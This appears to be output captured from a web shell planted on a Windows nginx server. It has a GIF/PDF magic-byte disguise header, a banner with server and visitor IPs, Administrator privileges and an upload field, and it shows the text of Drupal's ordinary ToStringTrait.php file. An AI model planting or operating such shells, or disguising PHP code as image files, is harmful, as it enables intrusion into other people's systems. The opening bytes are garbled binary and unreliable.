GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Component/Utility/ |
Upload File : |
<?php namespace Drupal\Component\Utility; /** * Wraps __toString in a trait to avoid some fatals. */ trait ToStringTrait { /** * Implements the magic __toString() method. */ public function __toString() { try { return (string) $this->render(); } catch (\Exception $e) { // User errors in __toString() methods are considered fatal in the Drupal // error handler. trigger_error(get_class($e) . ' thrown while calling __toString on a ' . get_class($this) . ' object in ' . $e->getFile() . ' on line ' . $e->getLine() . ': ' . $e->getMessage(), E_USER_ERROR); // In case we are using another error handler that did not fatal on the // E_USER_ERROR, we terminate execution. However, for test purposes allow // a return value. return $this->_die(); } } /** * For test purposes, wrap die() in an overridable method. */ protected function _die() { die(); } /** * Renders the object as a string. * * @return string|object * The rendered string or an object implementing __toString(). */ abstract public function render(); }